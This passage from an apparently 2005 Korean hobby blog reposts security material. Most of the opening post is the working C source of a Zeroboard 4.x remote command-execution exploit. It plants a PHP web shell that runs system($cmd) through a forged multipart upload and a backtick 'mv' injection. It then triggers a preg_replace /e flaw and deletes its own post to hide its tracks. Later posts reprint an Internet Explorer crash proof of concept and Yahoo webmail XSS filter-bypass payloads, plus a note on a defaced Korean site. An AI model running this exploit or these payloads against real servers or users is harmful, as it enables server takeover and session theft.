struct sockaddr_in serv;
struct hostent *hostname;

if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);

memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);

if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
OutputErr("connect", 1);

if(!reconn) fprintf(stdout,"
[+] %s connecting ok!
", server);
else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!
", server);
fflush(stdout);

reconn = 0;
}

void WriteZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
int i = 0;
int cnt=0;
char *tmp_ptr, *ptr;
char form_data[BUFSIZE];

memset(form_data, 0, sizeof(form_data));
sprintf(form_data,
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="page"
"
"
"
"1
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="id"
"
"
"
"%s
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="no"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="select_arrange"
"
"
"
"headnum
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="desc"
"
"
"
"asc
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="page_num"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="keyword"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="category"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="sn"
"
"
"
"off
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="ss"
"
"
"
"on
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="sc"
"
"
"
"on
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="mode"
"
"
"
"write
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="password"
"
"
"
"1212
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="name"
"
"
"
"zero
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="email"
"
"
"
"zero@nzeo.com
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="homepage"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="subject"
"
"
"
"zero@nzeo.com hi~!
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="memo"
"
"
"
"`mv data/%s/d214924151d9e1ffac5bb2258561031e
data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103
"
//"-----------------------------8ac34985126d8
"
//"Content-Disposition: form-data; name="sitelink1"
"
//"
"
//"
"
//"-----------------------------8ac34985126d8
"
//"Content-Disposition: form-data; name="sitelink2"
"
//"
"
//"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="file1";
filename="d214924151d9e1ffac5bb2258561031e"
"
"Content-Type: text/plain
"
"
"
"<?
if(count($_GET)) extract($_GET);
if(count($_POST)) extract($_POST);
if(count($_SERVER)) extract($_SERVER);
echo "<form action=$PHP_SELF method=post>
command : <input type=text name=cmd>
<input type=submit></form><hr>";
if($cmd){
$cmd = str_replace("\", "", $cmd);
echo "<pre>"; system($cmd); echo "</pre>";
}
?>
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="file2"; filename=""
"
"Content-Type: application/octet-stream
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="x"
"
"
"
"36
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="y"
"
"
"
"11
"
"-----------------------------8ac34985126d8--
"
, zb_tid, zb_tid, zb_tid);



memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"POST /%s/write_ok.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
mode=write&sn1=&divpage=1
"
"Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Content-Length: %d
"
"Connection: Keep-Alive
"
"Cache-Control: no-cache
"
"
""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);

fprintf(stdout, " [+] Zeroboard writing ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

if(i!=0xb33f) StatusProcess();

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+17, "Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" failed!(Bad Request)
", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err == 0){

if(strstr(ReadBuf,"<meta http-equiv="refresh" content="0; url=zboard.php?id="))
{
fprintf(stdout, " ok!
");
fflush(stdout);

fprintf(stdout," [+] Confirmming your article");
fflush(stdout);

if(tmp_ptr = strstr(ReadBuf+18, "url=")) {

ptr = tmp_ptr+4;
if(ptr != NULL){
if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = ' ';
}
}
if(ptr = strstr(ReadBuf,"=&no=")){
ptr += 5;
memset(no, 0, sizeof(no));
for(i=0; i<16; i++){
if(ptr[i] == '&') break;
no[i] = ptr[i];
}
}
if(strlen(no) > 0){
fprintf(stdout," - found!
");
fflush(stdout);
return;
}
else {
OutputErr(" - failed!(not writed!?!)
", 0);
}
}
else {
if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"x30x0dx0ax0dx0a")) break;
}
}
else {
OutputErr("err number error
", 0);
}
}
}

fprintf(stderr, " error!
");

}

void ExploitZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
, zb_dir, zb_tid);

memcpy(WriteBuf+strlen(WriteBuf), "x25x30x30", 3);

sprintf(WriteBuf+strlen(WriteBuf),
"&select_arrange=headnum&desc=asc&no=%s HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/zboard.php
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Connection: Keep-Alive
"
"
", no, zb_host, zb_dir, zb_host);

fprintf(stdout, " [+] Exploiting zeroboard start ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

StatusProcess();

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){

if(strstr(ReadBuf,"Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" failed!(Bad Request)
", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err >= 0){

if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "x30x0dx0ax0dx0a")){
fprintf(stdout," Done!
");
fflush(stdout);
return;
}

}

}
}

fprintf(stderr," error!
");

}

void ConfirmPHPScript(void)
{
fd_set fds;
struct timeval tv;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"GET /%s/data/%s/shell.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/zboard.php
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Connection: Keep-Alive
"
"
", zb_dir, zb_tid, zb_host, zb_dir, zb_host);

fprintf(stdout, " [*] Confirmming your backdoor php script");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;


FD_ZERO(&fds);

for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf,"Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!

[+] Exploiting success!!
", zb_host, zb_dir, zb_tid);
fflush(stdout);
return;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" - page not found
- 'mv' instruction permission denied.

- zeroboard was patched.
"
" [-] Exploit failed!
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" - Bad Request
"
" [-] Exploit failed!
", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}


}
}

fprintf(stderr," error!
");
}


void DeleteArticle(void)
{
fd_set fds;
struct timeval tv;
char post_data[BUFSIZ];


if(reconn == 1) ConnectZboard(zb_host, zb_port);

sprintf(post_data,
"page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&
category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9
", zb_tid, no);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"POST /%s/delete_ok.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s
"
"Content-Type: application/x-www-form-urlencoded
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Content-Length: %d
"
"Connection: close
"
"Cache-Control: no-cache
"
"
"
"%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);


fprintf(stdout, " [*] Remove your article ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+9, "200 OK
")) {

if(strstr(ReadBuf+17, "<meta http-equiv="refresh" content="0; url=zboard.php?id=")) {
fprintf(stdout, " - ok! :)
");
fflush(stdout);
return;
}
else{
break;
}
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" - failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" - failed!(Bad Request)
", 0);
}
else {
fprintf(stderr,"%s", ReadBuf);
exit(1);
}
}

}
}

fprintf(stderr," error!
");
}

void StatusProcess(void)
{
putchar('.');
fflush(stdout);
}


void OutputErr(char *msg, int type)
{
if(!type){
fprintf(stderr,"%s", msg);
fflush(stderr);
}
else if(type==1){
if(!strcmp(msg, zb_host)) herror(msg);
else perror(msg);
}

DeleteArticle();
exit(1);
}

void Usage(char *arg)
{
fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada
");
fprintf(stderr,"--------------------------------------------------------------------------
");
fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80]
", arg);
fprintf(stderr,"--------------------------------------------------------------------------
");

exit(1);
}

'Hobby > Computer' 카테고리의 다른 글

PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
사이버독도사건  (1) 2005.10.28
Posted by 아즈키
2005. 11. 15. 09:29
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding. Please read more for the full details.

digg it!




Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

Release Date:
October 24, 2005

Date Reported:
August 14, 2005

Severity:
Medium

Vendor:
Microsoft

Versions Affected:
Internet Explorer 6.0 on Windows XP SP2

Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.

Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue.

.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56 j
.text:76235680 ; sub_762355EC+62 j ...
.text:76235680 mov eax, [esi+8]
.text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax]

The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here:

http://www.java.com/en/download/windows_automatic.jsp

<'FRAMESET >
<'FRAME SRC=AAAA >
<'EMBED NAME=SP STYLE= >
<'APPLET HSPACE=file://AAAA >

Obviously just remove the '.

Vendor Status:
Ask Microsoft.

Discovered by:
Tom Ferris

Related Links:
http://www.security-protocols.com/poc/sp-x20.html
http://www.security-protocols.com/advisory/sp-x20-advisory.txt
http://www.evolvesecurity.com

'Hobby > Computer' 카테고리의 다른 글

Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
사이버독도사건  (1) 2005.10.28
W.S. #00  (0) 2005.10.27
Posted by 아즈키
2005. 11. 15. 09:22

SEC-CONSULT Security Advisory 20051021-0
=========================================
title: Yahoo/MSIE XSS
program: Yahoo Webmail in combination with MSIE 6.0
(maybe other browsers)
homepage: www.yahoo.com
found: 2005-04
by: SEC-Team / SEC-CONSULT / www.sec-consult.com
=========================================

Vulnerabilty overview:
---------------

Since april 2005 SEC-Consult has found 5+ serious vulnerabilities within Yahoo's webmail systems.
All of them have been fixed in the production environment. Nevertheless SEC-Consult believes that
input-validation thru blacklists can just be a temporary solution to problems like this. From our
point of view there are many other applications vulnerable to this special type of problem where
vulnerabilities of clients and servers can be combined.

Vulnerabilty details:
---------------

1) XSS / Cookie-Theft

Yahoos blacklists fail to detect script-tags in combination with special characters like NULL-Bytes and other META-Characters.
This leaves Webmail users using MSIE vulnerable to typical XSS / Relogin-trojan / Phishing attacks.

2) Some XSS Examples from our advisories

Excerpt from HTML-mails:

=========================================
SCRIPT-TAG:
---cut here---
<h1>hello</h1><s[META-Char]cript>alert("i have you now")</s[META-Char]cript></br>rrrrrrxxxxx<br>
---cut here---
=========================================
OBJECT-TAG:
---cut here---
<objec[META-Char]t classid="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value="http://[somewhere]/yahoo.swf"></obje[META-Char]ct>
---cut here---
=========================================
ONERROR-Attribute:
---cut here---
<img src="http://dontexist.info/x.jpg" one[META-Char]rror="alert('i have you now')">uargg</p>
---cut here---
=========================================
ONUNLOAD-Attribute:
---cut here---
</body><body onun[META-Char]load=alert('i have you now')><br></br><p>somewords</p></body></html>
---cut here---
=========================================


Recommended hotfixes for webmail-users
---------------

Do not use MS Internet-Explorer.


Recommended fixes
---------------

Do not use blacklists on tags and attributes. Whitelist special/meta-characters.


Vendor status:
---------------
Vulnerabilities have been fixed.


General remarks
---------------
We would like to apologize in advance for potential nonconformities and/or known issues.

~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC-Team / www.sec-consult.com /

'Hobby > Computer' 카테고리의 다른 글

Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
사이버독도사건  (1) 2005.10.28
W.S. #00  (0) 2005.10.27
Character Recognition  (0) 2005.08.17
Posted by 아즈키
2005. 10. 28. 09:35
몇일전(6일전) 일어난 사건.

독도를 국내 외에 알리기 위해 운영중인 ‘사이버독도’가 지난 22일 일본인 으로 보이는 해커들의 공격을 받아 한 때 마비된 사건.

참고 뉴스 URL:
http://news.naver.com/news/read.php?mode=LSD&office_id=021&article_id=0000125890§ion_id=102&menu_id=102

- 밑에는 사이버독도(http://www.dokdo.go.kr/)에서 올라온 공지사항 -
지난 10월 22일 불법적인 홈페이지 침입과 관련하여 철저하고 종합적인 사이버 안전대책을 마련키로 하였습니다.
전문 보안컨설팅업체에 의뢰하여, "사이버독도" 등 시스템 전반에 대한 취약점 분석 및 정비를 11월말까지 완료하는 등

침입탐지 및 침입방지 시스템의 보안등급을 한 단계 상향조정하여 내년에 통합 보안관제시스템을 도입하는 등 불법침입에 대한 지속적 감시, 방어체계를 확립하는 동시에, 국가사이버안전센터와 공동으로 보안관제체계를 강화할 예정입니다.

한편, 일부 신문에서 보도한 일본측 해커에 의해 "옴 진리교의 교주 아사하라 쇼코가 신문을 보고 있는 사진"이 올려졌다고 한 내용은 사실이 아니고, 공지사항의 이미지를 나타내기 위하여 국내 멀티비츠 이미지 社에서 제공하는 "젊은 여성이 신문을 보고 있는 단순한 이미지 파일"을 게재한 것이라고 밝히며 네티즌들의 오해가 없기를 바랍니다.

22일 불법적인 홈페이지 침입과 접속폭증으로 인해 원활한 서비스를 제공하지 못함에 대해 사과의 말씀을 드리며, 재발방지를 위해 최선의 노력을 다하겠습니다


이 사건에 대해 주목한 이유는.. 뉴스의 다음과 같은 내용

"이와 함께 사용 자 증가와 일시 폭주에 대비, 2억원의 예산을 들여 ‘사이버독도 ’ 시스템 용량과 성능을 보강하는 한편 내년까지 11억원을 추가 로 투입할 예정이다."

13억 -_-ㅋㅋ 조금 탐난당

'Hobby > Computer' 카테고리의 다른 글

Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
W.S. #00  (0) 2005.10.27
Character Recognition  (0) 2005.08.17
정렬 알고리즘 모음집  (0) 2005.08.17
Posted by 아즈키